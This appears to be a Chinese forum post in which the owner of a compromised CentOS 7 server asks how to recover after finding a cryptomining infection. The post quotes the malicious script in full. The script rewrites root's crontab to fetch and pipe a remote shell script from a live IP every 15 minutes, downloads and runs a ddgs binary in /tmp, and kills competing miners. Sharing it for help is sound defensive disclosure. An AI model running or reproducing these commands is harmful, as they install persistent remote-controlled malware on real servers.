服务器异常，被挂脚本.请问后续如何尽量保持正常使用？

今天接到阿里短信提醒服务器有异常，登陆发现 cup 占用 100%。于是查看看 crontab 发现有个异常定时任务下载执行某段 sh。地址如下： http://149.56.106.215:8000/i.sh ，目前已经修改账户密码，删除定时任务，kill 异常程序，看进程展示正常了。请问接下来可以做什么操作尽量保证服务器正常运行。

• 服务器系统：centos 7

• 附上脚本：

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; then
    wget -q http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -O /tmp/ddgs.3013
    curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
fi
chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill